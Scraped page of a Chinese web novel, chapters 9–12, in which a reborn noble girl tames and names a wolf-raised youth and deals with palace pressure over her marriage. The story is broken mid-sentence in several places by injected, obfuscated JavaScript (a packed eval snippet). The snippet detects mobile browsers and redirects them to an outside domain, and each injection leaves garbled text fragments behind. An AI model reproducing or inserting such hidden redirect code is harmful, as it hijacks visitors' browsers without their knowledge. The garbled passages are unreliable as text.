进门之后,姜菡萏发现那种烧糊的气味越发浓烈,一看炭盆上堆着桌布、锦袱,正在冒烟。 少年站在炭盆旁,脸上是没什么表情的,但眼神有点兴奋,有点骄傲。 那意思仿佛是——看,我厉害吧?我会烧东西了! “……”姜菡萏看着一直被他拖在手里的府兵,“先放了他吧。” 少年歪了歪头,没明白。 姜菡萏直接走过去,要把他的手从府兵衣领上拉开。 少年的眼睛睁大,慢慢低下头。 她的爪子又白又小,又软又轻,像开在枝头的洁白花瓣。那点力道轻得像微风抚过,可那种柔软温暖的触感像狂风骤雨,把少年劈得呆若木鸡。 他轻易地就松了手,倒霉府兵重得自由,其它府兵进来把他架了出去。 这两日府兵们进这间房门就跟进狼窝似的,全副武装,全神戒备,因为少年仿佛已经把这间屋子划为自己的领地,只要有人进来就择人欲噬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532524|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但此时的少年乖乖站着,左手轻轻握着自己的右手,那姿势莫名像个小媳妇。 ……姜菡萏的手已经松开了,可是那种奇异的触感好像永久地留了下来。 他有过类似的经历——不小心碰到一朵花,手上会留下一层花粉,即使花已经离得很远了,花粉却会一直在。 府兵抓住机会,迅速把炭盆里的东西清了。 “嗷!”少年猛地跳起来。 “等等,”姜菡萏道,“那些东西不能烧,我有更好的东西。” 少年显然听不明白,但她是一个阻挡他的姿态,挡在他身前。 虽然很想冲过去把那个府兵撕碎,但他还是忍住了。 姜菡萏吩咐下人去厨房拿些能烤的东西来。 很快,下人们搬来一盆又一盆的芋头、山药、红薯,还有一堆牛肉、羊肉、鱼,以及一只整鸡。 外加一只铁丝蒙架子,一堆佐料,各色工具。 还给配了个厨子。 敢情厨房是以为小姐突发奇想,要用烧烤待客。 少年的胃是个无底洞,只要有食物,他随时都能吃得下。 开始姜菡萏照三餐喂,见状以为这是他没吃饱,后来才知道,这是他跟着狼群养出来的习惯。 野兽就是这样,靠天吃饭,有吃的就赶紧吃,谁也不知道下一顿什么时候来。 所以这会儿少年看见生肉就准备往嘴里叼。 姜菡萏赶紧让人把那些肉拿走。 少年不满地“呜呜”两声。 不满归不满,他中午才吃过,不算饿,所以“呜”完便了事。 他的眼睛紧紧盯着姜菡萏。 这是一个特别的雌人。 每次她出现,都会教他一些新的事情。 他对这些事情都很感兴趣,就和以前在狼群里和伙伴们一起狩猎玩耍那样有意思。 姜菡萏往炭炉添了些炭,先把几只芋头山药埋了进去,然后架上铁丝蒙,把那只鸡放上去。 做好这些,她问屋外的张贺:“张大人要不要进来瞧瞧?” 张贺摇摇头,看着乖乖蹲在炭盆前的少年,他脸上出现了难得的笑容:“下官很高兴,此人没有被拴在马厩或者柴房,而是在这间厢房。他虽是和兽一起长大,本质还是人,只要把他当人看,他就会慢慢成为一个人。” 姜菡萏也很高兴张贺能这样说,她指了指少年颈间:“可是我不能碰这根铁链,一碰他就发狂。” “他长久地和野兽一起,身上的兽性多于人性,一旦受痛,自然狂性大发,控制不住。给他一点时间,慢慢来。” 张贺说着,欣慰地点头,“当日小姐要驯此人,下官还以为小姐也会同那些人一样拿人命取乐。现在看来,是下官多虑了。小姐,你已经将他调\教得很好,用不着下官,下官可以告退了。” 姜祯忙道:“张大人,他毕竟是狼窝里长大的,跟野兽也没什么分别,舍妹老是和他一处,我不放心啊。” “下官虽没有亲手驯过野兽,但在南疆看过不少人驯兽。要看一只野兽有没有被驯好,有一点十分要紧,那就是看野兽有没有认主。” 张贺望着屋内的少年,炭盆在少年眸子里映出一点红融融的光,而这层光芒深处,是姜菡萏清晰的倒影。 “野兽认主,便不再是野兽了。” “我观小姐,距此不远了。” 10. 第 10 章 星光从屋顶的破洞里洒下来,抬头就可以望见星星。 可惜寒风也从破洞里钻进来。 好在炭炉暖和,围炉而坐,拢着斗篷,倒也不觉得冷。 姜祯已经带着张贺去厅上用晚膳去了,院中只有风声。 鸡肉表皮渐渐烤出了金黄的色泽,鸡油滴进炭盆里,发出“滋”地一声响。 “……上一世逃难的时候,什么东西都吃光了,我找到了一只鸡。” “那座村庄已经没有一个人,每一间房舍门都敞着,全被洗劫过,连块布头都没留下,那时候只剩我一个人了,我又累又饿,以为会死在那儿。” “结果,我居然看到了一只鸡。” “我都不知道当时是怎么捉住那只鸡的。” “那时候也不知道怎么烤……我大概知道要拔毛,可是拔毛太难了,也好累,我就没拔,生了火,直接烤。” “于是毛全烤糊了。” “但我还是吃完了那只鸡,靠着它活了下来。” “后来我才知道,拔毛要用开水烫,烫完才好拔,内脏也要先清理……但都快饿死了,谁管这些呢?对吧?” 这些事情姜菡萏对谁也没有提起,提了别人只会觉得奇怪。 但少年不同,他听不懂。 不懂归不懂,听得却很认真,头歪着,目光专注。 姜菡萏笑了一下,撕下一条鸡腿,递给少年。 少年一直坐着,盘着腿,两手支地,对狼来说,应该是一个很乖巧的姿势。 他对着鸡腿咽了口口水,但神情有点戒备,没有接。 他见过这种食物,是人吃的。不是他吃的。 不单不能吃,连靠近都不能。 否则就会挨打。 但那只鸡腿又递近了一点。 浓郁的香气钻进鼻孔,本来就灵敏的嗅觉在此时被放大了不知多少倍。 少年嘴角抽动,肌肉紧绷,几乎要露出一副凶相,然后再也忍不住,“啊呜”一口咬住。 瞬间,他整个人顿住,瞳孔猛然放大。 从未有过的鲜美滋味绽放在口腔,跟他以前吃过的任何一种东西都不同。 “啊啊……” 他想说点什么,可是一个字也说不出来。 原来,这就是人的食物吗? 姜菡萏把整只烤鸡都递过去。 少年再没有一丝犹豫,简直是穷凶极恶,连骨头都没吐,全吃得干干净净。 吃完他露出了一种绝然的表情。 那意思大概是——要打就打吧! 可他没有等来鞭打,姜菡萏只是看着他微笑。 她喜欢看他吃东西。 贵胄们吃东西时总带着一种厌倦,仿佛吃饭是一件迫不得已的事,因为永远也不饿——她以前就是这样。 人只有真正饿过,才知道食物是多么重要,本来就需要人拼了命去吃。 少年忽然想起来,那根打他的鞭子已经烧掉了——被她烧掉了。 “熟的比生的好吃吧?” 少年呆呆地看着她,少女的眉眼弯弯,眸子里仿佛溅着星光。 姜菡萏说完拿起火钳翻了翻炭盆,芋头和红薯也烤好了,温暖的香气飘出来。 “烫,先等等。”她怕少年尝到甜头一发不可收拾,结果少年仍旧呆呆的。 少年的眉眼是锋利的,发起呆来却很柔软。 他张了张嘴,仿佛试图说什么。 “给你取个名字吧?”姜菡萏说,“叫你阿狼?阿郎?唔,不成,听着太亲密了……你想叫什么名?” 她与其说是问他,不如说是自言自语,没指望回答。 可少年眨了眨眼睛,好像听懂了。 “啊……啊……”他艰难地开口,“阿……阿……夜……” “阿夜?”姜菡萏呆住了,“你有名字?!” “阿……夜……”少年不断地重复,像是找回了什么宝贵的东西,“阿……夜……阿……夜……” “知道了。”姜菡萏认真地看着他,一字一顿地跟着他重复,“你、叫、阿、夜。” 少年静下来,嘴角慢慢地往上翘起,露出第一个笑容:“阿夜。” “谁给你取的名字?” 应该是斗兽场的人吧?斗兽场里也许并不全是把他当野兽的人,有人会把他当人看,还给他取了名字。 少年听懂了“名字”两个字,又一次重复:“阿夜。” 越说越顺畅,越说越开心:“阿夜,阿夜。”他跳起来,“阿夜,阿夜。” 他发出了人类的声音,激动不已,满屋子乱转了好几圈,最后停下来,重新蹲在姜菡萏面前。 “阿夜。”他拍拍自己的胸膛,“阿夜。”然后指指姜菡萏,“阿夜?阿夜?” 姜菡萏懂了。 “菡萏。”她指着自己,一个字一个字,慢慢地做出清晰的口形,“菡、萏。” 少年张了张嘴,努力想发出这两个字:“啊……啊……” “菡萏。” “啊……杭……” “菡萏。” “啊……昂……” “菡萏。” “杭……当……” “哎,有点像了,看我口形,菡……萏。” “汗……当……” 星光无声洒落,风吹过,外面下起雪来,簌簌而落。 * 姜祯踏雪过来接妹妹的时候,就听见屋子里一声接一声的。 妹妹的声音听上去很有耐心……这倒是少见啊。 姜祯脸上不由含了一丝笑,进来道:“该回房了。” 姜菡萏起身,把一只烤红薯塞进哥哥手里:“我烤的。” “我妹妹怎么这么能干!”姜祯感动,“都会下厨了!” 姜菡萏笑,今夜觉得很愉快。 “我走了阿夜,一会儿让人给你换个屋子,这屋子漏风,咱们不住。” 少年似懂非懂地看着她,很明确地听懂了其中两个字,于是很明确地点点头:“阿夜。” 但当姜菡萏转身离后,他的语调有点变化:“……阿夜?” “阿夜乖乖待着。”姜菡萏回头道,“明天我再来看你。” “阿夜……”少年像是答应了。 下人们把软轿换成轿子,挡风,保暖。 原是一人一顶,但姜菡萏坐进自己的轿子里之后,道:“哥哥坐我这里。” 姜祯正走向自己的轿子,闻言又惊又喜,这是从来没有听过的要求!他立刻小跑着钻进姜菡萏的轿子,生怕跑慢了,妹妹反悔。 轿子宽大,坐两个人也不拥挤,姜祯喜滋滋地挨着姜菡萏:“妹,你长大了。” “是啊。”姜菡萏靠在哥哥身上,“张大人走了吗?” “嗯,本来想留他住下的,死留不住。不过他已经答应明天过来教我箭术了。”姜祯说着就苦起了脸,伸出自己的双手,“唉,我这双手保养起来可花了不少功夫,明天拉弓引箭的,一定会疼。” 姜菡萏替他想了个主意:“你去本家喊几个堂兄弟过来,让他们一起受教,人一多,哥哥你就好偷懒了。” 姜祯又惊又喜:“我怎么没想到?还是我妹聪明!” 于是第二天下午张贺再次来到姜家别院的时候,发现自己要教的徒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532525|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟站成了一长溜。 姜祯表示,张大人箭术非凡,他要和兄弟们有福同享。 姜家一众游手好闲惯了的子弟们内心流泪,口上还要大声道谢:“谢家主大人!” 张贺坐困京城一年了,来到姜家校场,看见整齐的箭簇与箭靶,看见这些昂扬的少年——因为知道要来做苦力,所以都没有施脂粉——张贺顿感老怀大慰,豪气顿生:“张某必不负家主大人所托!” 姜祯露出大大的笑容。 笑容太大了,以至于嘴角有点抽搐。 呜,其实我这种所托,负一负也没什么不好…… * 姜菡萏不知道校场上的腥风血雨,她在花房中。 雪也乖觉,昨晚下了一夜就停了,今天一早太阳便出来,透着琉璃花房璀璨生光。 花房里温暖如春,月下徊开得娇艳欲滴。 花匠们把开得最好的花朵用竹剪剪下来,一束束插进花瓶中。 “这一瓶,送给安贵妃,这一瓶,送给丽阳公主。”顾晚章道,“剩下的单枝,送给嫔妃贵女们簪发。” “行。” 这些花姜菡萏也用不完,平日里除去插瓶赏玩的,就是拿来洗手沐浴,剩下的则做成香膏或玫瑰糖。 “……以后都要送吗?”阿喜忍不住问了一句。她已经从昨天的惨状中清醒过来了,孩子心大,睡一觉就忘了这回事,只顾着眼前的花。 “不,只送今日,就在晚宴时献上。”顾晚章拿出一卷文书,“此花金贵,不能作寻常物件卖了。今夜送花之后,接下来的日子必然有人问小姐要花,小姐一概不用答应,只告诉她们,天气寒冷,京中每天都有冻死的百姓,小姐会下月初一大相国寺庙会之时,卖出月下徊,筹得善款,用来建造善堂,收纳无家可归的百姓。” 姜菡萏展开文书,上面条条框框,列得清清楚楚:“……这是给我换名声?” 说好的黄金海呢? 比起名声,她更想要钱要粮要人啊。 “建善堂只不过是个名目,几间瓦房,几锅稀粥,能花多少钱?”顾晚章道,“名声才是最重要的,贵人们买花,不再是为了给自己添妆,而是为了百姓,别说那些贵妇小姐,就算是郎君哥儿,少不得要为家里人买上一朵。” “所以,这不是为我买善名,这是帮我卖善名啊。”姜菡萏衷心佩服,“顾大人,陛下把你扔在翰林院,真是暴殄天物。” “顾先生。” “是,顾先生。” “小姐今晚还会去后院吗?”顾晚章忽然问。 “会。”姜菡萏说完,问,“怎么?” “还会去教哑巴说话吗?” “他不是哑巴。” “差不多吧。”顾晚章道,“那么,教的时候可否小声些?在下怕吵。” 姜菡萏:“……” 姜菡萏:“我给先生换一处院子?” “凡事总该有个先来后到。”顾晚章下巴微抬,十分倨傲,“我先来的,为什么是我搬走?” 姜菡萏:“……其实,是他先来的,只不过中途跑了。” 顾晚章倨傲的表情微微一顿:“既跑了,便还是我先来。” “行。”姜菡萏点头,“我昨夜便让人给阿夜换房了,以后不再换回去就是了。” 顾晚章表面冷下来一点:“不,昨晚他没有换。” 姜菡萏:“?” “没人能把他从那间屋子里弄出来,他打伤了三名府兵,在那间破屋子里唤了一夜你的名字。”顾晚章说到这里露出了一丝痛苦的表情,冷冷道,“当然,一次也没有唤对。” 姜菡萏:“……” 11. 第 11 章 黄昏时候,姜菡萏去别宫赴宴,叫上哥哥和张贺一起。 姜祯看到她的时候简直像是看到救命恩人,就差没有痛哭流涕。 呜呜呜,终于可以放下弓箭了…… “呜呜呜你看我的手指,都快勒破皮了!这里也红了!明天就得肿!” 姜祯在轿子里低低抱怨,不敢大声,张贺的轿子都在后头,他们那种有武功在身的人耳朵都灵得跟狗一样。 姜菡萏而今是搽药的好手了,抬手就从袖子里变出一只瓷盒,揭开来,挖出里面淡红色的药膏,细细给姜祯涂上。 “这是去瘀生肌的药膏,早晚涂上两次,就算是破皮了也不会留疤的。” 夕阳软红的光芒透过轿子上的云母窗,投在姜菡萏脸上,她专注地上药,低垂的眼睫长长的,语气轻缓,好温柔。 姜祯的鼻尖忽然有点发酸,一只手乖乖上药,一只手抱住妹妹。 姜菡萏:“……怎么了?” 上药呢。 “呜呜妹妹,你怎么变得这么好?” 哥哥是个讲究人,哪怕练箭练得快要瘫倒,赴宴还是要沐浴更衣,悉心打扮好才出门。一身洒金圆领通肩大袖长袍不知在熏笼上搁了多久,清甜绵密的沉水香气渗透到这个怀抱的每一寸。 因为……死过一次,我终于知道哥哥的好啊…… 但这话说出来,哥哥有本事哇哇哭给她看。 “哥,我觉得,美貌固然要紧,但京中美貌的人不知凡几,又美貌又强大的人却是少之又少。像哥哥这种花容月貌,如果真能练出一手好箭术,整个京城的姑娘家岂不是都要为哥哥倾倒?每天不知要有多少首诗、多少支曲子来写哥哥呢。” 姜祯的眼睛,一眨,又一眨,然后眸子开始闪闪发亮。 人生被点醒了! “这样我得到的诗和曲子,一定能比过风曜!” 等他成为京城最美丽的箭手,就能把风曜的风头全部抢光! 姜菡萏看着信心满满的哥哥,悄悄松了一口气。 从准备请张贺上门开始,她打的就是这个算盘。 乱世将近,没有什么比学一门防身之术更有用的。 “从明天开始,我也跟哥哥一起学好不好?” 就算练不成箭术,也能强身健体。 至少逃命能比别人快些。 姜祯微有犹豫,因为怕妹妹吃苦。姜菡萏自小身体不好。 “放心吧哥哥,我心里有数。”姜菡萏说着,还有一个提议,“府兵们闲着也是闲着,让他们也来一起练吧。” 府兵们吃不吃苦,姜祯是不关心的,妹妹说练,那便练就是。 * 宫宴上照旧歌舞升平,姜菡萏盛妆入殿,身后跟着的两排侍女,最前面两人一人抱着一只花瓶。 一只先献给安贵妃,一只送到丽阳席上。 剩下的每人皆有一枝相赠。 众人纷纷道谢。 姜菡萏把下月初一要去大相国寺卖花筹善款的事说了。 大家称赞不已,都说要去凑趣。 唯有丽阳像雷劈了一样,愣愣瞪着那瓶娇艳欲滴的玫瑰,无法回神。 “你送我的?” “自然。” 丽阳小心翼翼地摸了摸:“没藏针吧?” 又闻了闻:“没下毒吧?” “我什么时候有空藏针下毒?”姜菡萏,“公主若是不喜欢,可以还给我。” 丽阳护住花瓶:“送出去的礼物泼出去的水,给了我便我的,哪有拿回去的道理?” 安贵妃含笑看着两个女孩子说话,赐了一对玉镯给姜菡萏。 换在上一世,姜菡萏对这些俗礼从不会多看一眼,此时却深知这些可都能换成真金白银,仔细一瞧,只见镯子美得如同初夏时节的竹林,青翠欲滴。 大家都称羡,有人凑趣道:“我要是记得没错,这是上年娘娘过生辰时,陛下御赐之礼吧?娘娘当真是疼爱晚辈,这么贵重的礼物,说送就送了。” “菡萏早晚是我们风家的人,风家的东西戴在菡萏手上,岂不是天经地义?”安贵妃笑着,亲手为姜菡萏戴上镯子。 正巧这时风曜从前殿提壶走来,奉承德帝之命给安贵妃斟酒,就见姜菡萏的双腕在灯下皓白胜雪,镯子戴上去,美不胜收。 风曜的目光微注,带笑道:“这对镯子除了母妃,也只有菡萏妹妹戴得了。” 姜菡萏借行礼的动作垂下衣袖,挡住手腕:“殿下说笑了。” 风曜笑笑,没有多说什么,斟完酒又陪着众人喝了一杯,这才出去。 他长身玉立,风度翩翩,殿上不知有多少贵女暗暗红了脸。 一位命妇问道:“三殿下明年就要加冠了吧?” 安贵妃笑道:“是。” “待加了冠,就要选妃了。”命妇笑道,“也不知道谁能有这三世修来的福气,嫁为三皇子妃。” 又有命妇道:“若论福气,世间的姑娘,谁的福气大得过姜家姑娘?” 顿时有一堆人附和。 这就是姜菡萏讨厌赴宴的原因之一。 不论任何话题,最终都会扯到她的婚事上。 姜家嫡长女必为大央皇后,这是写在太\祖遗命上的金科玉律。 姜菡萏是未来的皇后,她嫁给谁,谁便是未来的皇帝 承德帝继位之后,立的是姜菡萏的堂姑母,姑母难产离世,留下太子风明,今年只有十岁,养在太皇太后膝下。 风明和姜菡萏一样有不足之症,两个人是一对儿病秧子。 而风曜却是文武双全,德业昭著,深孚众望。 若不是姜家一直站在太子风明身后,承德帝早已易储。 而今承德帝那头不便提这话头,却由安贵妃出面,明里暗里想把姜菡萏与风曜撮和成一对。 往常姜菡萏难得在席上坐这样久,也难得接连赴宴,人们都把这当成她意动的表示,说笑的气氛热烈起来。 从前遇到这种情况,姜菡萏一般会拂袖离去。 然后她们便笑呵呵说她害羞了,面嫩。 姜菡萏其实不大在意她们怎么说,但现在明白了,老是给她们脸,她们就会一直说。 于是姜菡萏走下席,拿起丽阳席上的那只花瓶。 丽阳:“!” 姜菡萏先把花取出来,递给丽阳。 丽阳莫名地伸手抱住,然后就看见姜菡萏拿起花瓶,走向殿门。 殿门边没有铺红茸毯,轻轻一掷,花瓶就在地上砸得粉碎。 一时间,席上别说谈笑,连屏风后的乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532526|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声都停了一下。 所有人都像是僵住的泥偶。 还是丽阳忍不住:“姜菡萏,你干什么?!” “我瞧公主一直对着这花瓶发呆,想来这花瓶是有什么不对,于是我也细瞧了瞧,发现果然不对。” “怎么不对?” 姜菡萏目光有意无意地从殿上扫过,尤其在那些说得最起劲的几人身上停了停。 “原来那花瓶上面的美人画得不对,明明是个绝色佳丽,好端端却多长了一张嘴,实在是讨人厌得很。所以我才砸了,免得碍眼。” 丽阳狐疑:“……真的?你们姜家怎么会有画错的花瓶?” 姜菡萏一笑:“难道公主盯着它半晌,不是因为这个?” “自、自是因为这个。”丽阳梗着脖子,“我早看出来了。” 当然不能让姜菡萏知道,她之所以发呆,是因为犹豫。 拿人的手软,收了这瓶花,她以后还怎么怼姜菡萏? 可要不收……呜呜月下徊真的好好看啊……还那么香……宫里的花匠全是饭桶,一朵都种不出来! “都及笄了,还是这么小孩子脾气。”安贵妃脸色丝毫没有变化,始终都是温柔从容,带着一丝长辈对晚辈的宠溺,“那花瓶是好砸的吗?碎瓷片子比刀子还利呢,万一伤着自己怎么办?还不过去给菡萏瞧瞧。” 最后吩咐的是她身边的尚宫。 尚宫连忙过来查看,姜菡萏自然无事。乐声重新变得流畅,席上的气氛也重新变得欢庆,只是再也没有人敢提起方才的话题,开始聊起今日的围猎。 正聊着,安贵妃忽然道:“菡萏,你那狼人驯得如何了?陛下今日还说呢,这几日的围猎都不如那一日狼人在时尽兴。狼人毕竟凶残,若是伤了你就不好了。你讨要过去几日,新鲜劲该过了吧?要不要换个人驯试试?” 说着,目光轻轻扫了丽阳一眼。 搁往常,丽阳一定不会放过这个机会,跳起来就准备抢人。 但今天,丽阳抱着一束月下徊,嘴像是被麦芽糖糊上了,开不了口。 姜菡萏道:“回娘娘,菡萏驯人,颇有成效。也许要不了多久,就能带给陛下和娘娘看了呢。” 她的语气自信而天真,安贵妃不好再说什么,只是笑着让她路上小心。 * 姜菡萏回到别院,没有去暖香坞,直接去后院。 她特意在院外下了轿,放轻了脚步,想悄悄进去,听听阿夜是不是还在练她的名字。 结果才走进院中,什么也没来得及听见,阿夜的房门就从里面打开,门缝里露出一颗脑袋。 发乱似飞蓬,眼明若晨星。 对着她,嘴角上翘,露出一个有些生疏、但很明亮的笑容。 姜菡萏忽然发现,他笑起来的时候,左颊上有一颗酒窝。 笑得,有点甜。 这点甜意像清泉一样,把从席上带回来的乌烟瘴气,一下子冲洗得干净了许多。 真好。 不管外面有多糟心,这间屋子里,始终有个人高兴就是高兴,生气就是生气,对她没有半点心眼子。 “阿夜,我回来了。”姜菡萏微笑,“学会我的名字没有?” “昂荡!” 少年大声地、自信地喊出答案。 12. 第 12 章 “是菡萏!” 姜菡萏笑着纠正,走进屋子里。 这间命运多舛的屋子已经修补好了屋顶,炭盆依旧搁在屋角,铁丝蒙罩在上头。 厨房自从送过一次生肉,便驾轻就熟,生肉送过来,阿夜自己学会了烤。 但狗窝里从来没有余粮,不论送多少来,阿夜都能吃得干干净净。 此时阿夜拿开铁丝蒙,抓着火钳,竟从炭盆里拨拉出几只芋头,送到姜菡萏面前。 “汗……荡……” 上次陪他在这里烤肉,她只吃了芋头,他记住了。 姜菡萏才要接过,就被烫得连连甩手,“烫烫烫烫……” 阿夜捧着芋头,一脸不解地看着她,眼睛睁得圆圆的。 也许是他的眼睛太清澈了,也许是在席上喝了点果子酒,姜菡萏觉得心里有点亮堂堂、软乎乎的。 她伸手托住他的脸,辅助他发音:“……‘菡’字对了,第二个是‘萏’,跟我学……萏……” 少年的瞳孔倏然放大。 首先感觉到的是凉,她的指尖凉凉的。 然后是香,她一贯比别人香,甜甜的,暖暖的,今天的香里还多了一丝丝果香和一种奇异的香气,很久之后他才知道那是酒香。 最后是她的脸近在咫尺,占满他的全部视野。 他从前很讨厌的灯光,原来这样温暖柔软。人类陌生而含糊的五官突然得变得清晰而具体,少女的眉眼口鼻皆在眼前放大,纤毫毕现。 姜菡萏拍了拍他的脸,他的视线兀自僵直,没有反应。 “罢了,学不会也没什么。”姜菡萏收回手,指尖上有点灰屑,那是方才从芋头上沾来的,她拿帕子擦了擦,顺手替阿夜擦了擦脸上被她沾上去的一点灰。 阿夜整个人震了一下。 “别怕。我已经找到将作坊的人,明天就能过来帮你拆了这铁链。”姜菡萏说着,指了指隔壁,“你旁边住了人哦,所以晚上别吵了,好不好?” 阿夜呆呆地,也不知听没听懂,视线落在姜菡萏随手搁在桌面的帕子上,他忽然回了神:“啊啊……啊……” 姜菡萏正要离开,不知他要做什么,但猜应该是让她先别走的意思。 于是她站住,就见阿夜拎起桌上的茶壶,抓起她的手。 他的动作很轻,掌心托着姜菡萏的手背,姜菡萏感觉得到他掌心的硬茧,心想,难怪不怕烫。 茶壶的水浇到她手上,茶水半温,刚好洗去指尖那点帕子没擦干净的灰屑。 阿夜放下茶壶,先拿起自己围在身上的兽皮,顿了一下,改拿起那块帕子,又顿了一下,最后拉起姜菡萏的衣摆,覆在姜菡萏手上,自己拿手搓搓:“啊啊……” 这是教姜菡萏擦手的意思。 姜菡萏忍不住笑了,说了声:“多谢。” 然后才离开。 她一走,屋子里重新安静下来。芋头还搁在桌上,阿夜重新埋回炭盆里去。 她明天还会来。 明天再给她吃。 他们一起烤过食物,同群就是族人,食物要分享。 帕子还在桌上,白白的薄薄的一层布,阿夜拿起来,像得到新玩具似的,看了看,摸了摸,然后盖在脸上,发现能透光。 忽然,他看到了上面的灰。 阿夜想起了什么,摸了摸自己的脸。 片刻后,在后院守夜的府兵猛然坐起,他们发现阿夜推开房门,径直跑了出去。 原以为阿夜会像上次那样跑去狗窝,结果跑的是另一个方向。 那个方向是荷池。 现在是冬天,枯荷早就被拔去,只剩光秃秃的池塘。 “扑通”一声响,少年跳进了水池里。 “糟啦!快来人!”府兵大叫,“这狼人跳河啦!” * “……据说府兵全起来了,都怕他是寻死,捞了半日,结果他是下水洗澡。” 姜菡萏第二天才听说这段公案,苏妈妈一边说,一边抱怨,“真真是惹事精,没有一天不惹麻烦。小姐呀,玩腻了就给陛下那边送过去吧?安贵妃都开了口,不还回去总不大好……” “不还。还有,别劝,我不爱听。” 姜菡萏在首饰匣子里挑挑拣拣,一句话把苏妈妈的嘴堵上,然后把一些不那么显眼的、不是宫里出来的,挑出来放在一只锦匣里。 下人来禀:“三殿下和公主来了。” 因为虞仙芝那份批命判词,向来没有什么人来别院,以免打扰姜菡萏静养。 今日一来就来了两位。 姜菡萏猜测,风曜应该冲张贺来的——这两日张贺都跟姜祯在一起,在别宫应个卯就来姜家别院,风曜要来看个究竟。 丽阳……丽阳干的事情都很无聊,姜菡萏懒得去猜测,只吩咐:“就说我没起。” “……这不是起了吗?”帘子已经掀起来,丽阳走进来,“装什么装?” 姜菡萏没理会她,把东西挑好,匣子盒上,交给阿福:“给顾先生送去。” 丽阳脸色一动:“你送这么多首饰给他做什么?” 姜菡萏就像没听见,只交待阿福:“告诉他,想怎么花、怎么挣,全让他看着办,他知道我想要的是什么。对了,他若是要人掌眼,让他去找方公公。” 方公公掌管着别院的私库数十年,练出一双火眼金睛,天下珍宝,一过眼就知道是什么价钱。 “不许去!”丽阳拦住阿福,脸都涨红了,“姜菡萏!你把顾晚章当成什么人了?!竟然用这些俗物去折辱他!” “……”姜菡萏抬起头,“如果这是折辱的话,公主大可以来折辱我,我不嫌多。” 她一使眼色,下人们立即拦住丽阳,阿福微一行礼,捧着匣子离去。 丽阳带来的人少,不是对手,气得跺脚:“姜菡萏,这便是你的待客之道吗?” “不速之客,还想要什么待客之道?” 丽阳生气:“是三哥不让通传的!说什么自己人不必见外!若不是贵妃娘娘想瞧瞧你把那狼人驯得怎么样了,你以为我想来?” 姜菡萏问:“三殿下呢?” 丽阳气鼓鼓:“他说要去找你哥!” 姜菡萏皱了皱眉。 风曜表面谦和,其实自视甚高,对哥哥不过是场面上应付罢了,从来没有真正看得上过。 果然,看哥哥是假,看张贺在这里做什么,才是真。 果然能让安贵妃开口的人,自然能让风曜过来查看消息。 昨天因为练得群情激昂——主要是姜家子弟们都在哭爹喊娘——张贺不辞劳苦,表示半天训练太短,恐见效太慢,自请把训练改成全天,一早就来了。 姜菡萏怀疑张贺是单纯看上了别院的校场。张贺抚摸着校场兵器架的眼神,简直像抚摸着心爱的宠物。 “我要去学箭了。”姜菡萏道,“公主要一起来吗?” 丽阳被吓了一跳:“你?学箭?!你疯了!” 不来就算了,姜菡萏扔下她便走。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532527|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “等等!”丽阳在背后问,“顾状元在哪里?” 姜菡萏回头看着她。 丽阳缩了缩,复又挺起胸膛:“我……我奉娘娘之命过来看看他。” “这会儿应该在花房。” 顾晚章每天早晚都会去记录月下徊的产量,姜菡萏吩咐,“苏妈妈,陪着点公主。” 意思是,别让她乱跑。 * 姜菡萏来到校场上,发现风曜果然在。 他原本是玉带金冠,一片锦绣,此时束上箭袖,扎起衣摆,正在与张贺比箭。 一面比箭,一面相谈甚欢。 任谁看来,都是一片君臣相得的景象。 姜祯则跟着难兄难弟们在练控弦。 控弦者,只张弓,不上箭。 按照张贺的要求,弓要张到圆如满月,才算合格。 但姜家的子弟们个个养尊处优,养得比女孩子还要精细娇贵,连吃奶的劲都使出来,那弓才弯了一点点。 而风曜张弓如满月,箭到弦松,每一箭都在靶心左右。不单准头上佳,更兼意态悠闲,仿佛连瞄准都不用,是随手而射一般。 姜祯看得脸都扭曲了。 嫉妒啊嫉妒。 